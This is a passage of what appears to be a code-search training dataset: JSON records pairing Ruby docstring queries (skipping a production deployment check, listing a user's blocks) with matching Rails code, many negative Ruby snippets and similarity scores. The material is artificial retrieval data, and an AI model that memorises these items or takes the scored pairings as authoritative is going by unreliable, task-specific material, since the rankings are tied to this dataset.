"def destroy\n @admin_geonode = Admin::Geonode.find(params[:id])\n @admin_geonode.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_geonodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @factor_reconocimiento = FactorReconocimiento.find(params[:id])\n @factor_reconocimiento.destroy\ndestination = @factor_reconocimiento.area_id ? area_path(@factor_reconocimiento.area_id) : factores_reconocimientos_path\n respond_to do |format|\n format.html { redirect_to(destination) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project_type_association = @project.project_type_associations.find(params[:id])\n @project_type_association.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_project_project_type_associations_url(@project)) }\n format.xml { head :ok }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @cpro_project = CproProject.find(params[:id])\n @cpro_project.destroy\n\n respond_to do |format|\n format.html { redirect_to(cpro_projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pat_project = Pat::Project.find(params[:id])\n @pat_project.destroy\n\n respond_to do |format|\n format.html { redirect_to(pat_projects_url) }\n format.xml { head :ok }\n end\n end",
"def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend",
"def destroy\n @survey_area = SurveyArea.find(params[:id])\n @survey_area.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_areas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = @user.project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @researcharea = Researcharea.find(params[:id])\n @researcharea.destroy\n\n respond_to do |format|\n format.html { redirect_to researchareas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @proj_detail = ProjDetail.find(params[:id])\n @proj_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to(proj_details_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path)\n root.delete(path)\n end"
] |
[
"0.67901736",
"0.654388",
"0.654388",
"0.65335155",
"0.6464684",
"0.644625",
"0.644625",
"0.6379995",
"0.62911654",
"0.62151057",
"0.62045926",
"0.6188616",
"0.61597186",
"0.61538047",
"0.613933",
"0.6137967",
"0.61368936",
"0.6126015",
"0.6120021",
"0.61189497",
"0.60846424",
"0.60825735",
"0.6082134",
"0.6076893",
"0.60729694",
"0.6072086",
"0.60678655",
"0.6066164",
"0.60538",
"0.6051433",
"0.6039952",
"0.6035982",
"0.60281163",
"0.60268664",
"0.60258764",
"0.60234445",
"0.60159814",
"0.60006005",
"0.59920985",
"0.5990853",
"0.59858227",
"0.59788567",
"0.59758174",
"0.5972409",
"0.59669614",
"0.59632874",
"0.59544176",
"0.59440446",
"0.5942814",
"0.59400594",
"0.5939846",
"0.59313",
"0.5929383",
"0.5929383",
"0.5929383",
"0.59253216",
"0.5925083",
"0.5924927",
"0.5921594",
"0.59167635",
"0.5909768",
"0.59093386",
"0.5904519",
"0.59041214",
"0.5896973",
"0.5896216",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.58873147",
"0.587724",
"0.5876207",
"0.58746845",
"0.58737344",
"0.5873389",
"0.58707803",
"0.5867298",
"0.58664477",
"0.5857224",
"0.5856205",
"0.585569",
"0.5847758",
"0.5838954",
"0.5838703",
"0.5838112"
] |
0.7297433
|
0
|
There are two situations where we want to avoid checking for an active (ongoing) production deployment: A caller of this trigger could set SKIP_DEPLOYMENT_CHECK to avoid the check, i.e. during feature flag activation When we are checking the status during an ongoing deployment (deployment_check? == true)
|
def skip_active_deployment_check?
ENV['SKIP_DEPLOYMENT_CHECK'] == 'true' || deployment_check?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deploy_disabled?\n ENV['NO_DEPLOY'] == '1'\nend",
"def deploy_disabled?\n ENV['NO_DEPLOY'] == '1'\nend",
"def deploy_disabled?\n ENV['NO_DEPLOY'] == '1'\nend",
"def deploy_requires_approval?\n super || pipeline_next_stages.any?(&:deploy_requires_approval?)\n end",
"def region_is_available_for_deploy?\n nonblocking_states = %W(deploy_failed awaiting_confirmation testing_failed monitoring_failed awaiting_deploy)\n blocked = current_region.builds_dataset.filter(\"state NOT IN ?\", nonblocking_states).count > 0\n !blocked\n end",
"def deployable?\n self.grid_service_id && self.pending? && !expired?\n end",
"def ignore_production_checks?\n ignore_production_checks != 'false'\n end",
"def should_notify_release_stage?\n @release_stage.nil? || @notify_release_stages.nil? || @notify_release_stages.include?(@release_stage)\n end",
"def only_production_status\n return if !@stage.production? || @stage.project.deployed_to_non_production_stage?(@commit)\n\n {\n state: \"pending\",\n statuses: [{\n state: \"Production Only Reference\",\n description: \"#{@reference} has not been deployed to a non-production stage.\"\n }]\n }\n end",
"def has_deployment?(name)\n available_deployments.has_key?(name)\n end",
"def deployed?\n success =\n @deploy_details[:deploy_name] == self.deploy_name if @deploy_details\n\n return success if success\n\n deploy_details(true)[:deploy_name] == self.deploy_name rescue false\n end",
"def staging?\n status == \"STAGING\"\n end",
"def check_production_account_settings\n raise \"Not using production settings! Use '--env production'\".red unless lane_context[SharedValues::ENVIRONMENT] == 'production' \nend",
"def is_valid_for_execution\n (@metadata[\"short_dest_repo_name\"] == \"osrf/gazebo\" and @pr_status == :update) ? false : true\n end",
"def deployed_or_running_deploy\n deploys.joins(:job).find_by(\"jobs.status\" => Job::ACTIVE_STATUSES + [\"succeeded\"])\n end",
"def update_deployable\n self.deployable = log_path.present? and (roles.present? or hosts.present?)\n true\n end",
"def guard_readiness_of_stage\n unless self.stage.blank?\n\n unless self.stage.deployment_possible?\n errors.add('stage', 'is not ready to deploy')\n end\n\n self.stage.prompt_configurations.each do |conf|\n if prompt_config.blank? or prompt_config[conf.name.to_sym].blank?\n errors.add('base', \"Please fill out the parameter '#{conf.name}'\")\n end\n end\n\n if self.stage.locked? && !self.override_locking\n errors.add('lock', 'The stage is locked')\n end\n\n if self.stage.present? and self.excluded_host_ids.present? and deploy_to_roles(self.stage.roles).blank?\n errors.add('base', \"You cannot exclude all hosts.\")\n end\n\n end\n end",
"def deploy?; run_options[:deploy]; end",
"def guard_readiness_of_stage\n unless self.stage.blank?\n unless self.stage.deployment_possible?\n errors.add('stage', 'is not ready to deploy')\n end\n\n self.stage.prompt_configurations.each do |conf|\n if prompt_config.blank? or prompt_config[conf.name.to_sym].blank?\n errors.add('base', \"Please fill out the parameter '#{conf.name}'\")\n end\n end\n\n if self.stage.locked? && !self.override_locking\n errors.add('lock', 'The stage is locked')\n end\n\n if self.stage.present? and self.excluded_host_ids.present? and deploy_to_roles(self.stage.roles).blank?\n errors.add('base', \"You cannot exclude all hosts.\")\n end\n end\n end",
"def check_if_deployment_exists\n @api.account_id = @options[:src]\n @old_deployment = @api.deployments(:id => @options[:deployment], :view => \"inputs_2_0\").show\n\n @api.account_id = @options[:dst]\n if @api.deployments.index(:filter => [\"name==#{@old_deployment.name}\"]).length != 0\n $stderr.puts \"ERROR: Deployment with name \\\"#{@old_deployment.name}\\\" already exists in account #{@options[:dst]}\\n\"\n exit 1\n end\nend",
"def deployment_exists?(name)\n exists?(\"deployment\", name)\n end",
"def staging?\n self.environment == ENV_STAGE\n end",
"def verify_unchanged_external_flag\n # Given that someone may move a back-end to a new instance and update the\n # front-ends with the shared chef-server.rb, we may reasonably expect to\n # see this value change on the front end - so let's not call that out as an error.\n\n # This test isn't valid until we're bootstrapped (which could\n # encompass multiple runs in case of error). Before bootstrap,\n # the default value of 'false' will be in place, and having a\n # differing value is valid.\n if OmnibusHelper.has_been_bootstrapped? && backend? && previous_run\n if (cs_pg_attr.key? 'external') && (cs_pg_attr['external'] != previous_run['postgresql']['external'])\n fail_with err_CSPG001_cannot_change_external_flag\n end\n end\n end",
"def pending_configuration_changes?\n return true if context.restart_required?\n return false if self.context_only\n (context.exec('_get-restart-required', [], :terse => true, :echo => false) =~ /^true$/)\n end",
"def has_pushed_rhn_stage?\n return true if rhnqa? || rhnqa_shadow?\n\n has_pushed_since_last_respin?(RhnStagePushJob)\n end",
"def distracted?\n false\n end",
"def plugin_deployment?\n DeploymentOption.plugins.include?(deployment_option)\n end",
"def trigger_condition_met?(_job)\n true\n end",
"def check!\n Capistrano::Deploy::Dependencies.new(configuration) do |d|\n d.remote.file(Capistrano::Puppet::Service::Webrick::SERVICE_INIT).or(\"`#{Capistrano::Puppet::Service::Webrick::SERVICE_INIT}' does not exist. Please run `cap deploy:setup'.\")\n end\n end",
"def exists?\n name_exists? ? exact_deployment? : false\n end",
"def deploy_webhook\n unless daemon.stress_test_mode\n user_thread.schedule do\n CallNewMailWebhook.new(mail_log, envelope, raw_eml).delay.run\n end\n end\n return true\n end",
"def exact_deployment?\n artifact_hash = digest_of_artifact\n deployed_hash = digest_of_deployed\n if artifact_hash == deployed_hash\n Puppet.debug \"Same exact deployment found, compared by hash: #{artifact_hash}. Skipping deploy.\"\n true\n else\n Puppet.debug \"Deployment hash: #{deployed_hash} differs from expected artifact hash: #{artifact_hash}. Redeploying.\"\n false\n end\n end",
"def update_all_worker_deployed\n self.all_worker_deployed = false\n true\n end",
"def can_health_check?\n return false if @service_type == 'worker'\n\n true\n end",
"def background_check_pending?\n !background_check_authorized_at.nil? && (!passed_background_check? && background_check_run_at.nil?)\n end",
"def allow_service_check_state\n super\n end",
"def for_startup?\n self.stage_id > 1\n end",
"def check_maintenance_mode()\n versioning = AppParameter.find_by_code( AppParameter::PARAM_VERSIONING_CODE )\n if versioning.a_bool?\n logger.info('--- MAINTENANCE MODE IS ON! ---')\n respond_to do |format|\n format.html do\n # Do just a redirect (avoid an infinite loop of redirections):\n redirect_to( controller: 'home', action: 'maintenance' ) unless (params[:controller] == 'home') && (params[:action] == 'maintenance')\n end\n format.json { render json: {maintenance: true} and return }\n end\n end\n end",
"def check_if_needs_approval\r\n self.suspended_at = Time.now if Setting.user_signup == :needs_approval && !self.admin\r\n end",
"def same_build_in_progress?\n !Rails.env.development? &&\n !Rails.cache.write(\"build-service-#{@build.id}\", true, unless_exist: true, expires_in: 10.seconds, raw: true)\n end",
"def reload?\n !!params[:reload] && !Rails.deploy_env?(:prod)\n end",
"def is_deploy_active?(stack, stage)\n if deployname = get_deploy_process_title(stack,stage)\n return system(\"pgrep -f '#{deployname}'\")\n end\n false\n end",
"def test?\n !production?\n end",
"def is_offensive?\n self.status == 1\n end",
"def deployment?(filename)\n filename.include?('.yml') and not filename.include?('example.yml')\n end",
"def deployed?\n git_info[\"deployed_commit_sha\"].present?\n end",
"def deploy_checklists\n return if checklist_not_allowed?\n\n # WITH REQUEST\n if (self.active_requests.count > 0)\n self.project.active_requests.each { |r|\n next if !r.milestone_names or !r.milestone_names.include?(self.name)\n for t in ChecklistItemTemplate.find(:all, :conditions=>\"is_transverse=0\").select{ |t|\n t.milestone_names.map{|n| n.title}.include?(self.name) and\n (t.workpackages.map{|w| w.title}.include?(r.work_package)) and\n (r.contre_visite==\"No\" or r.contre_visite_milestone==self.name)\n }\n deploy_checklist(t,r)\n end\n\n }\n # WITHOUT REQUEST + IS_QR_QWR\n elsif self.project.is_qr_qwr == true\n for t in ChecklistItemTemplate.find(:all, :conditions=>\"is_transverse=0 and is_qr_qwr=1\").select{ |t|\n t.milestone_names.map{|n| n.title}.include?(self.name)\n }\n deploy_checklist_without_request(t)\n end\n end\n\n end",
"def check!\n Capistrano::Deploy::Dependencies.new(configuration) do |d|\n # d.remote.directory(configuration[:releases_path]).or(\"`#{configuration[:releases_path]}' does not exist. Please run `cap deploy:setup'.\")\n # d.remote.writable(configuration[:deploy_to]).or(\"You do not have permissions to write to `#{configuration[:deploy_to]}'.\")\n # d.remote.writable(configuration[:releases_path]).or(\"You do not have permissions to write to `#{configuration[:releases_path]}'.\")\n end\n end",
"def production?\n environment == :production\nend",
"def deployment_completed?\n begin\n return true if db_execution_status == \"complete\"\n rescue Data::NoExecution # rubocop:disable Lint/HandleExceptions\n end\n\n return false if boot_from_san? || !has_os?\n\n os_installed?\n end",
"def bypass_maintenance?\n !!runopts(:bypass_maintenance)\n end",
"def myservices_environment_details_override?\n !ENV['ENV_DETAILS'].nil?\n end",
"def test_for_node\n deploy_info = @deployer.deployment_info_from(@node)[@node]\n if deploy_info.key?(:error)\n error \"Error while getting deployment info: #{deploy_info[:error]}\"\n elsif Time.now.utc - deploy_info[:deployment_info][:date] > MAX_ACCEPTABLE_REFRESH_PERIOD_SECS\n error \"Last deployment has been done on #{deploy_info[:deployment_info][:date].strftime('%F')}. Should refresh it.\"\n end\n end",
"def needed_if_relevant?\n false\n end",
"def stale_approval?\n ActsAsApprovable.stale_check? and update? and stale?\n end",
"def prod?\n !(Rails.env.development? || Rails.env.test?)\nend",
"def ignore_force?(task)\n !(metadata[\"run_#{task}\"].nil? || metadata[\"run_#{task}\"])\n end",
"def needed_if_relevant?\n false\n end",
"def production?\n if DeployGroup.enabled?\n deploy_groups.empty? ? super : environments.any?(&:production?)\n else\n super\n end\n end",
"def check_status\n #binding.pry #TODO: set date_activated/ date_inactive\n return\n end",
"def run_for_deploy\n require_dsl\n\n return true if dsl.nil?\n run_check_classes(check_classes_named(dsl.deploy_checks))\n end",
"def pending_shop_request?\n !launched_shop? && latest_pending_shop_request\n end",
"def production?\n self.environment == ENV_PROD\n end",
"def conditional?\n @current_state == Psc::ScheduledActivity::CONDITIONAL\n end",
"def notify_deploy\n Bugsnag::Capistrano::Deploy.notify(\n repository: ENV['BROKEN_RECORD_REPOSITORY'],\n branch: ENV['BROKEN_RECORD_BRANCH']\n )\n end",
"def check_status(slack_channel, raise_on_failure: false)\n # NOTE: Using a new ProductionStatus instance to include CanaryUp check\n status = ProductionStatus.new(:canary_up, skip_active_deployment_check: skip_active_deployment_check)\n\n notify_on_slack(slack_channel, status.to_slack_blocks)\n\n raise UnsafeProductionError if raise_on_failure && !status.fine?\n end",
"def production?\n @production ||= true\n end",
"def run(**args)\n perform!(**args)\n true\n rescue FatalDeploymentError\n false\n end",
"def is_not_pending_recovery!\n self.update_attribute(:verification_key, nil) if self.is_pending_recovery?\n end",
"def is_production?\n %w(prod production).include?(node.chef_environment)\n end",
"def exists?\n name = @resource[:name]\n\n raise Puppet::Error, \"Target name must not be empty!\" if empty_str?(name)\n \n if @resource[:connection].nil? || @resource[:connection].empty? || empty_str?(@resource[:connection]['url'])\n raise Puppet::Error, \"Connection must be a hash contains valid url, username and password to authenticate against Automic Release Manager\"\n end\n\n client = Savon.client(wsdl: @resource[:connection]['url'] + WSDL_PATH)\n \n # try export deployment target\n begin\n message = { \"username\" => @resource[:connection]['username'], \"password\" => @resource[:connection]['password'], \"mainType\" => \"DeploymentTarget\", \"format\" => \"CSV\", \"begin\" => 0, \"count\" => 1, \n \"properties\" => { :string => \"system_name\" }, \"conditions\" => { :string => \"system_name eq '#{name}'\" } }\n response = client.call(:export, message: message)\n \n token = response.body[:export_response][:export_result][:token]\n self.debug(\"Got token: #{token}\")\n\n # retrieve data via GetStatus service\n while true\n response = client.call(:get_status, message: { \"token\" => token })\n sleep 1\n if response.body[:get_status_response][:get_status_result][:status].to_i != 0\n break\n end\n end\n \n data = response.body[:get_status_response][:get_status_result][:data]\n if not data.nil? and data.lines.count > 1 \n self.info(\"Deployment target #{name} already exists\")\n return true\n else\n self.info(\"No deployment target name '#{name}'\")\n return false\n end\n \n rescue Exception => e\n self.info(\"Failed to check deployment target #{name}. We will assume that this target does not exist\")\n self.debug(e.message)\n self.debug(e.backtrace.inspect)\n false\n end\n end",
"def agent_should_start?\n !blacklisted_constants? &&\n !blacklisted_executables? &&\n !in_blacklisted_rake_task?\n end",
"def production? ; @app.options[:env] == :production ; end",
"def auto_beta\n if should_nightly?\n UI.message 'building nightly'\n nightly\n elsif should_beta?\n UI.message 'building beta'\n beta\n elsif has_api_keys?\n UI.message 'signing and building, but not deploying'\n build\n else\n UI.message 'just building (not signing)'\n check_build\n end\nend",
"def require_release_build\n if ENV[\"BUILD_STYLE\"] != 'Release'\n log_message(\"Deployment target requires 'Release' build style\")\n exit\n end\n end",
"def check_token_deployment\n\n if @token.blank? || @token[:status] == GlobalConstant::ClientToken.not_deployed\n\n @go_to = GlobalConstant::GoTo.token_setup\n\n elsif @token[:status] == GlobalConstant::ClientToken.deployment_started\n\n if @from_page[:by_screen_name] != GlobalConstant::GoTo.developer[:by_screen_name]\n\n @go_to = GlobalConstant::GoTo.token_deploy\n\n end\n\n elsif @token[:status] == GlobalConstant::ClientToken.deployment_failed\n\n @go_to = GlobalConstant::GoTo.token_deploy\n\n elsif @token[:status] == GlobalConstant::ClientToken.deployment_completed\n\n if @from_page[:by_screen_name] == GlobalConstant::GoTo.token_deploy[:by_screen_name] ||\n @from_page[:by_screen_name] == GlobalConstant::GoTo.token_setup[:by_screen_name]\n\n @go_to = GlobalConstant::GoTo.token_mint\n\n end\n\n end\n\n success\n\n end",
"def is_pending_recovery?\n self.activated? and self.verification_key ? true : false\n end",
"def production?\n ENV[\"JEKYLL_ENV\"] == \"production\"\nend",
"def just_set_up?\n AppConfig[:just_set_up] == true\n end",
"def force_skip_audit\n \n msg = \"Can't force skip because audit has started\" \n return msg if self.designer_completed_checks != 0\n \n msg = \"\"\n ok = true\n self.trim_checklist_for_design_type\n \n self.design_checks.each do | design_check |\n unless design_check.delete\n msg += \"Can't delete check - id = #{design_check.id}\"\n ok = false\n end\n end\n \n if ok\n self.auditor_completed_checks = 0\n self.auditor_complete = false\n self.designer_completed_checks = 0\n self.designer_complete = false\n #self.lock_version = 0\n self.skip = 1\n if self.save\n msg = \"Audit skipped\"\n else\n msg = \"Failed to update audit status - id = #{self.id}\"\n end\n end\n return msg\n end",
"def enabled_release_stages\n @notify_release_stages\n end",
"def deployable?\n self.class.deployable?(type)\n end",
"def deploy\n\n $active_deploy = true\n bucket = JSON.parse($deploy_bucket.last.to_json)\n unless bucket.nil?\n puts \"Deploying code for: #{bucket.inspect}\"\n system(\"./deploy.sh #{bucket['git_account']} #{bucket['launch_branch_name']} #{bucket['git_appname']} #{bucket['heroku_appname']} #{bucket['folder_name']}\")\n end\n $deploy_bucket.pop\n puts \"Now making active_deploy as false\"\n $active_deploy = false\n check_build bucket\nend",
"def jenkins?\n @logger.info \"Jenkins Detected: #{not (ENV['WORKSPACE'].nil?)}\"\n return !ENV['WORKSPACE'].nil?\nend",
"def include_non_production?\n config.dig(\"pnpm\", \"production_only\") == false\n end",
"def test_disabled?\n ENV['NO_TEST'] == '1'\nend",
"def test_disabled?\n ENV['NO_TEST'] == '1'\nend",
"def allow_unsynced_production_writes?\n !!Rails.configuration.x.stagehand.allow_unsynced_production_writes\n end",
"def publishable?\n self.status == STATUS_PENDING\n end",
"def pre_run_check\n # Validate :triggers\n triggers = parameter(:triggers)\n triggers.value.each do |res|\n retrieve_resource_reference(res)\n rescue ArgumentError => e\n raise Puppet::Error, \"Parameter triggers failed: #{e} at #{@file}:#{@line}\"\n end\n\n package = self[:name]\n package_res = \"Package[#{package}]\"\n begin\n res = retrieve_resource_reference(package_res)\n package_in_catalog = true\n rescue ArgumentError\n package_in_catalog = false\n end\n\n if package_in_catalog\n if ['present', 'installed', 'latest'].include?(res['ensure'].to_s)\n Puppet.send('notice', \"#{package_res} (managed) will be updated by Patching_as_code\")\n catalog.resource(package_res)['ensure'] = 'latest'\n catalog.resource(package_res)['schedule'] = self[:patch_window]\n catalog.resource(package_res)['before'] = Array(catalog.resource(package_res)['before']) + ['Anchor[patching_as_code::patchday::end]']\n catalog.resource(package_res)['require'] = Array(catalog.resource(package_res)['require']) + ['Anchor[patching_as_code::patchday::start]']\n catalog.resource(package_res)['notify'] = Array(catalog.resource(package_res)['notify']) + triggers.value\n else\n Puppet.send('notice', \"#{package_res} (managed) will not be updated by Patching_as_code, due to the package enforcing a specific version\")\n end\n else\n Puppet.send('notice', \"#{package_res} (unmanaged) will be updated by Patching_as_code\")\n catalog.create_resource('package',\n title: package,\n ensure: 'latest',\n schedule: self[:patch_window],\n before: 'Anchor[patching_as_code::patchday::end]',\n require: 'Anchor[patching_as_code::patchday::start]',\n notify: triggers.value)\n end\n end",
"def push_type_for_validate\n if advisory_rhn_live_pushed?\n 'cdn_if_live_push_succeeds'\n end\n end",
"def run_deploys(deployments, app_name, app_data)\n did_we_deploy = false\n\n deployments.each do |application, deploy|\n\n if application != app_name\n debug_log(\"#{application} skipped: #{app_name}\")\n next\n end\n\n layer_name = app_data['layer']\n next unless allow_deploy(application, app_name, layer_name)\n\n debug_log('Deployment started')\n debug_log(\"Deploying as user: #{deploy['user']} and #{deploy['group']}\")\n\n easybib_deploy application do\n deploy_data deploy\n end\n\n did_we_deploy = true\n\n nginx_config = app_data.fetch('nginx', nil)\n next if nginx_config.nil? # no nginx\n\n config_template = get_template(nginx_config)\n next if config_template.nil? # no nginx\n\n config_cookbook = get_cookbook(nginx_config)\n\n listen_opts = get_additional('listen_opts', app_data)\n\n easybib_nginx application do\n cookbook config_cookbook\n config_template config_template\n domain_name deploy['domains'].join(' ')\n doc_root deploy['document_root']\n htpasswd \"#{deploy['deploy_to']}/current/htpasswd\"\n listen_opts listen_opts\n notifies :reload, 'service[nginx]', :delayed\n notifies node['php-fpm']['restart-action'], 'service[php-fpm]', :delayed\n end\n end\n\n did_we_deploy\nend",
"def skip_pub_task_and_post_process_only?\n !pub_options['push_metadata'] && !pub_options['push_files']\n end",
"def check_maintenance_page\n if ENV.key? 'VEC_MAINTENANCE_UNDERWAY'\n redirect_to \"/maintenance.html\"\n end\n end",
"def dev_checks\n checks.select { |ctx| !ctx.functional? }\n end",
"def exit_on_deployment\n if ! @marathon.deployments.empty?\n puts \"Deployment in progess\"\n exit 0\n end\nend",
"def is_active(effort)\n if effort.deliverable and effort.deliverable.project_phase and effort.deliverable.project_phase.project\n return effort.deliverable.project_phase.project.status == 'Active'\n end\nend",
"def audit?\n false\n end",
"def release_on_approval\n super == 'true'\n end",
"def not_applicable?\n @current_state == Psc::ScheduledActivity::NA\n end"
] |
[
"0.7550755",
"0.7550755",
"0.7549739",
"0.7073127",
"0.656491",
"0.6546807",
"0.64391065",
"0.63907504",
"0.6372478",
"0.63191116",
"0.6083619",
"0.60770607",
"0.6072778",
"0.6068416",
"0.60591704",
"0.6057308",
"0.6027853",
"0.602724",
"0.6022737",
"0.6004141",
"0.5936783",
"0.5918237",
"0.5915639",
"0.5914783",
"0.5891154",
"0.5882492",
"0.5879123",
"0.58739954",
"0.5870138",
"0.58606213",
"0.5847825",
"0.5815264",
"0.5791503",
"0.57661086",
"0.5763352",
"0.57532996",
"0.5750943",
"0.57464284",
"0.57401067",
"0.57312465",
"0.57124084",
"0.5710911",
"0.5704828",
"0.5683014",
"0.5681972",
"0.5678882",
"0.56646866",
"0.56615794",
"0.56568503",
"0.5651043",
"0.5646922",
"0.5644989",
"0.56291616",
"0.5616907",
"0.56164825",
"0.56100446",
"0.5608237",
"0.5606096",
"0.55994886",
"0.5589284",
"0.5573467",
"0.5571937",
"0.5564229",
"0.55619735",
"0.555937",
"0.5556984",
"0.55569637",
"0.55540544",
"0.55502087",
"0.5548348",
"0.5543179",
"0.554267",
"0.55363935",
"0.55357254",
"0.5516387",
"0.5513968",
"0.5511711",
"0.5502171",
"0.5485721",
"0.5484458",
"0.5475599",
"0.5472252",
"0.54719573",
"0.54657644",
"0.54629916",
"0.54620546",
"0.54620546",
"0.54514",
"0.5442916",
"0.5437462",
"0.5436606",
"0.54301655",
"0.5428358",
"0.54229605",
"0.5421066",
"0.5417885",
"0.54169685",
"0.5416262",
"0.5414757",
"0.5413908"
] |
0.81786835
|
0
|
GET /users/blocks GET /users/blocks.json
|
def index
@users_blocks = Block.all.where(user_id: current_user.id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def block_users\n request('/block/users', {body: {}})\n end",
"def index\n @blocks = Block.all\n\n render json: @blocks\n end",
"def create\n @users_block = Block.new(blocked_id: params[:block][:blocked],\n user_id: current_user.id)\n @users = get_blockable_users\n\n respond_to do |format|\n if @users_block.save\n format.html { redirect_to block_path, notice: 'Block was successfully created.' }\n format.json { render :show, status: :created, location: @users_block }\n else\n format.html { render :new }\n format.json { render json: @users_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_blacklist(user)\n username = Digest::MD5.hexdigest(user.id.to_s)\n begin\n response = RestClient.get(\"#{DOMAIN}/#{ORG}/#{APP}/users/#{username}/blocks/users\",\n \"Authorization\" => \"Bearer #{access_token}\",\n :content_type => :json,\n :accept => :json\n )\n if response.code == 200\n p response\n\n body = JSON.parse(response.body)\n p body\n end\n rescue => e\n puts e.response\n end\n end",
"def block\n current_user.block_user(@user.id)\n render json: {ok: 1}\n end",
"def block(user)\n post \"blocks/create/#{user}\"\n end",
"def index\n @blocks = Block.order(:block_name).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @blocks }\n end\n end",
"def get_blocks(x0,y0,z0,x1,y1,z1)\n response = @api.send_and_receive(\"world.getBlocks(#{x0},#{y0},#{z0},#{x1},#{y1},#{z1})\")\n Block.find(response.to_i) \n end",
"def blocked\n @user = current_user\n @blockedUsers = current_user.blocks\n\n end",
"def show\n render json: @user.blocked\n end",
"def index\n @userblocks = Userblock.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @userblocks }\n end\n end",
"def blocking_ids\n get \"blocks/blocking/ids\"\n end",
"def block_user(user_id)\n post(\"/users/#{user_id}/block\")\n end",
"def index\n @blocks = Block.all\n end",
"def index\n @blocks = Block.all\n end",
"def blocked\n optional! :offset, type: Integer, default: 0\n optional! :limit, type: Integer, default: 20, values: 1..150\n\n raise AccessDenied.new(\"不可以获取其他人的 block_users 列表。\") if current_user.id != @user.id\n\n @users = current_user.block_users.fields_for_list.order(\"actions.id asc\").offset(params[:offset]).limit(params[:limit])\n end",
"def blocking(params = {})\n get \"blocks/blocking\", params\n end",
"def index\n\t\t@blocks = Block.all\n\tend",
"def get_blocks\n @blocks\n end",
"def show\n render json: @block\n end",
"def blocks\n @blocks ||= ArkEcosystem::Client::API::Blocks.new(@client)\n end",
"def show\n @block = Block.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @block }\n end\n end",
"def show\n @block = Block.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @block }\n end\n end",
"def index\n @visit_blocks = VisitBlock.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @visit_blocks }\n end\n end",
"def show\n @userblock = Userblock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @userblock }\n end\n end",
"def block_user(id)\n put(\"UserBlock/#{id}\")\n end",
"def show\n list = List.find(params[:id])\n blocks = list.blocks\n blocks = blocks.order(location: :asc)\n render json: {list: list, blocks: blocks}\n end",
"def index\n @blockers = Blocker.all\n end",
"def set_users_block\n @users_block = Block.find_by(id_params)\n end",
"def show\n @blocker = Blocker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blocker }\n end\n end",
"def getblockbycount(height)\n request :getblockbycount, height\n end",
"def index\n @blocks = @site.blocks\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @blocks }\n end\n end",
"def blocks\n object.blocks.map{ |x|\n ShallowBlockSerializer.new(x)\n }\n end",
"def get_blocks\n @blocks ||= Block.find :all, :conditions => { :show_in_all => '' }\n end",
"def getblockbycount(height)\n @api.request 'getblockbycount', height\n end",
"def index\n authorize! :admin, :dashboard\n @twitter_blocks = TwitterBlock.paginate(\n :per_page => 20,\n :page => params[:page],\n :order => 'id ASC'\n )\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @twitter_blocks }\n end\n end",
"def get_all_page_blocks\n @page = ContentPage.where('name = ?', params[:name]).first\n @blocks = PageBlock.where({:content_page_id => @page.id}).order('order_count')\n\n respond_to do |format|\n format.json { render :json => @blocks }\n format.xml { render :xml => @blocks }\n end\n end",
"def block\n if current_user.has_role?(:district)\n district = Admin::District.find_by_district_name(current_user.district_name)\n @blocks = Admin::Block.find_all_by_district_id(district)\n else\n \n end\n end",
"def blocked\n @user = User.find(params[:id])\n @user.block!\n redirect_to dashboard_listing_path\n end",
"def getblocknumber\n request :getblocknumber\n end",
"def index\n @day_crew_blocks = DayCrewBlock.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @day_crew_blocks }\n end\n end",
"def get_block(x,y,z)\n response = @api.send_and_receive(\"world.getBlock(#{x},#{y},#{z})\")\n Block.find(response.to_i) \n end",
"def destroy\n begin\n \t@block = User.find(params[:blocked][:blocked_id])\n\t\n\t\t@user.blocked.delete(@block)\n\t\trender json: @user, status: :accepted, location: @user\n\trescue => error\n\t\trender :json => error.message, status: :unprocessable_entity\n\tend\n end",
"def show\n @block_list_server = BlockListServer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @block_list_server }\n end\n end",
